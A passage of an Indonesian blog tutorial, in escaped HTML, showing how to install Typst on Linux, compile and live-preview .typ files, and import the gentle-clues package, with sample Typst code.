&lt;section&gt;&lt;h2&gt;How to?&lt;a href=&quot;#how-to&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikutnya, kita akan mempelajari teknis penggunaan typst, mulai dari melakukan instalasi hingga menggunakan template.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Installing Typst&lt;a href=&quot;#installing-typst&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;typst&lt;/code&gt; di beberapa sistem operasi Linux:&lt;/p&gt;
















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy typst&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install typst&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;TIP&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Untuk distro &lt;strong&gt;Debian/Ubuntu&lt;/strong&gt; dapat meng-&lt;em&gt;install&lt;/em&gt; typst melalui &lt;a href=&quot;https://snapcraft.io/typst&quot; target=&quot;_blank&quot;&gt;snap&lt;/a&gt;. Sementara untuk &lt;strong&gt;Fedora&lt;/strong&gt;, bisa langsung ambil &lt;em&gt;binary&lt;/em&gt;-nya langsung atau &lt;em&gt;compile&lt;/em&gt; sendiri dari &lt;em&gt;source code&lt;/em&gt; typst di &lt;a href=&quot;https://github.com/typst/typst/&quot; target=&quot;_blank&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;typst&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;typst&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Writing in Typst&lt;a href=&quot;#writing-in-typst&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Menulis dengan typst berarti kita perlu mengetahui &lt;em&gt;syntax-syntax&lt;/em&gt; yang terdapat di typst terlebih dahulu. Beruntungnya, typst sendiri sudah menyediakan daftar syntax yang tersedia di websitenya.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Typst syntax cheatsheet:&lt;/strong&gt; &lt;a href=&quot;https://typst.app/docs/reference/syntax/&quot; target=&quot;_blank&quot;&gt;https://typst.app/docs/reference/syntax/&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Ketika sudah meng-&lt;em&gt;install&lt;/em&gt; typst, kita dapat memulai membuat dokumen typst dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;touch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file.typ&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;typst&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compile&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file.typ&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Setelah itu, akan muncul file &lt;strong&gt;&lt;code&gt;file.pdf&lt;/code&gt;&lt;/strong&gt; di direktori yang sama. Kita dapat mulai meng-&lt;em&gt;edit&lt;/em&gt; file &lt;code&gt;file.typ&lt;/code&gt; kemudian melihat hasilnya di file &lt;code&gt;file.pdf&lt;/code&gt;. Kita juga dapat melihat perubahan secara &lt;em&gt;realtime&lt;/em&gt; dengan menjalankan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;typst&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;watch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file.typ&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;sambil membuka file pdf-nya. Nanti, begitu kita menyimpan perubahan yang ada di file &lt;code&gt;file.typ&lt;/code&gt;, maka perubahan tersebut juga akan muncul langsung di file &lt;code&gt;file.pdf&lt;/code&gt; yang sedang terbuka.&lt;/p&gt;&lt;p&gt;Berikut sebagai ilustrasi:&lt;/p&gt;&lt;p&gt;Sebagai pemula, cara paling mudah udah mempelajari hal baru adalah dengan melihat contoh yang sudah ada. Nah, sekarang, perhatikan konten file &lt;code&gt;file.typ&lt;/code&gt; saya ini, dan lihat hasilnya di &lt;code&gt;file.pdf&lt;/code&gt; yang akan saya lampirkan berikutnya. Dengan demikian, baris-baris &lt;em&gt;sytanx&lt;/em&gt; yang ada di file typst tersebut akan terlihat masuk akal dan mudah untuk dipahami.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#set&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;heading&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;numbering&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;1.&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;fill&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;blue&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;weight&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;700&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;underline&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Typst Introduction&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;*Website* _typst_: &lt;/span&gt;&lt;span&gt;https://typst.app&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Cara instalasi _typst_ di Archlinux:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;+ &lt;/span&gt;&lt;span&gt;`sudo pacman -Sy typst`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;+ &lt;/span&gt;&lt;span&gt;`typst compile file.typ`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;+ mulai tulis dengan syntax typst&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Tujuan penggunaan _typst_:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- Menulis paper&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- Membuat CV&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- Menyusun presentasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Typst Advanced&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; Package&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Cara meng-_import_ package:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;`#import &quot;@preview/example:0.1.0&quot;: add&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#add(2, 7)`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Outputnya:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#import&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;@preview/example:0.1.0&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#add&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; Math&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{ let x = 1; x + 2 }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;#rect&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;width&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1cm&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;arrow&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;r&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;long&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;#rect&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;width&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1cm&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-------------&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;*Glossary*&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/ typst: markup typesetting system&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/ template: created document for &apos;spesific purpose&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;// Ini komentar.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah file pdf-nya:&lt;/p&gt;
&lt;p&gt;Atau, jika kalian ingin yang lebih praktis, typst juga menyediakan “&lt;em&gt;&lt;strong&gt;playground&lt;/strong&gt;&lt;/em&gt;” unttuk mencoba typst juga.&lt;/p&gt;&lt;p&gt;Berikut tautannya: &lt;strong&gt;&lt;a href=&quot;https://typst.app/play/&quot; target=&quot;_blank&quot;&gt;https://typst.app/play/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Selain itu, typst juga menyediakan &lt;em&gt;&lt;strong&gt;tutorial&lt;/strong&gt;&lt;/em&gt; penggunaan typst:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Menulis di typst:&lt;/strong&gt; Cara menulis teks, menambahkan gambar, persamaan, dan komponen lainnya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Membuat format:&lt;/strong&gt; Cara menyesuaikan format dokumen: ukuran font, heading, dan lainnya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Membuat layout:&lt;/strong&gt; Cara membuat layout halaman yang lebih kompleks untuk keperluan paper ilmiah.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Membuat template:&lt;/strong&gt; Cara membuat template yang dapat digunakan kembali untuk keperluan yang sama.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut tautannya: &lt;strong&gt;&lt;a href=&quot;https://typst.app/docs/tutorial/&quot; target=&quot;_blank&quot;&gt;https://typst.app/docs/tutorial/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Playing with packages &amp;amp; templates&lt;a href=&quot;#playing-with-packages--templates&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Packages&lt;/strong&gt;&lt;/em&gt; adalah kumpulan file typst yang dapat di-&lt;em&gt;import&lt;/em&gt; sebagai unit terpisah untuk menambahkan fungsionalitas, gaya, dan juga otomatisasi di dokumen kita.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-8&quot;&gt;8&lt;/a&gt;&lt;/sup&gt; &lt;em&gt;&lt;strong&gt;Templates&lt;/strong&gt;&lt;/em&gt; adalah bagian dari &lt;em&gt;packages&lt;/em&gt; yang dibuat untuk tujuan &lt;em&gt;template&lt;/em&gt; dokumen, artinya kita dapat menggunakan struktur dan &lt;em&gt;layout&lt;/em&gt; dokumen yang sudah dibuat untuk keperluan tertentu, seperti &lt;em&gt;template&lt;/em&gt; laporan, &lt;em&gt;template&lt;/em&gt; paper, &lt;em&gt;template&lt;/em&gt; CV, dan yang lainnya.&lt;/p&gt;&lt;p&gt;Kita akan lihat perbedaan implementasi penggunaan &lt;em&gt;package&lt;/em&gt; dan &lt;em&gt;template&lt;/em&gt; berikut ini.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;How to use package&lt;a href=&quot;#how-to-use-package&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Daftar &lt;em&gt;package&lt;/em&gt; yang tersedia dapat dilihat di:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://typst.app/universe/search/?kind=packages&quot; target=&quot;_blank&quot;&gt;https://typst.app/universe/search/?kind=packages&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Ada banyak &lt;em&gt;package&lt;/em&gt; yang dapat kita gunakan. Kita tidak perlu menggunakan atau meng-&lt;em&gt;import&lt;/em&gt; semua &lt;em&gt;package&lt;/em&gt;. Gunakanlah &lt;em&gt;package-package&lt;/em&gt; yang relevan dan memang kita perlukan untuk membuuat dokumen yang kita ingin buat.&lt;/p&gt;&lt;p&gt;Saya akan mendemonstrasikan cara meng-&lt;em&gt;import&lt;/em&gt; salah satu &lt;em&gt;package&lt;/em&gt;, dan &lt;em&gt;package&lt;/em&gt; pilihan saya jatuh kepada &lt;a href=&quot;https://typst.app/universe/package/gentle-clues&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;gentle-clues&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://typst.app/universe/package/gentle-clues&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://typst.app/universe/package/gentle-clues&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Gentle Clues - Typst package.&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;559&quot; src=&quot;/_astro/gentleclues.C5g5c9Ad_18Mxp4.svg&quot; /&gt;&lt;figcaption&gt;Gentle Clues - Typst package.&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Cara meng-&lt;em&gt;import&lt;/em&gt;-nya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Buka dokumen typst.&lt;/li&gt;
&lt;li&gt;Tambahkan baris berisi perintah &lt;em&gt;import package&lt;/em&gt; di bagian awal dokumen.&lt;/li&gt;
&lt;li&gt;Tambahkan elemen dari package di dalam dokumen.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;importing gentle clues, success!&quot; loading=&quot;lazy&quot; width=&quot;1300&quot; height=&quot;674&quot; src=&quot;/_astro/ss7.PD9iAZEK_2s8y3i.webp&quot; /&gt;&lt;figcaption&gt;importing gentle clues, success!&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah parameter dalam menggunakan &lt;em&gt;package&lt;/em&gt; ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#example&lt;/span&gt;&lt;span&gt;[Your text here...]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Nanti, akan di-&lt;em&gt;render&lt;/em&gt; menjadi:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;default gentle clues usage&quot; loading=&quot;lazy&quot; width=&quot;223&quot; height=&quot;98&quot; src=&quot;/_astro/ss8.D33kWFd__Z1TiCG0.webp&quot; /&gt;&lt;figcaption&gt;default gentle clues usage&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Tapi, kita juga dapat mengganti beberapa parameter seperti “&lt;em&gt;heading&lt;/em&gt;” &amp;amp; “&lt;em&gt;title&lt;/em&gt;”-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#experiment&lt;/span&gt;&lt;span&gt;[Percobaan _package_ gentle clues.]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#quote&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Quotes&quot;&lt;/span&gt;&lt;span&gt;)[Doubt kills more dreams than failure ever will.]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Output&lt;/em&gt;-nya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;modified gentle clues usage&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;187&quot; src=&quot;/_astro/ss9.gjG86EIp_Z1UGlDh.webp&quot; /&gt;&lt;figcaption&gt;modified gentle clues 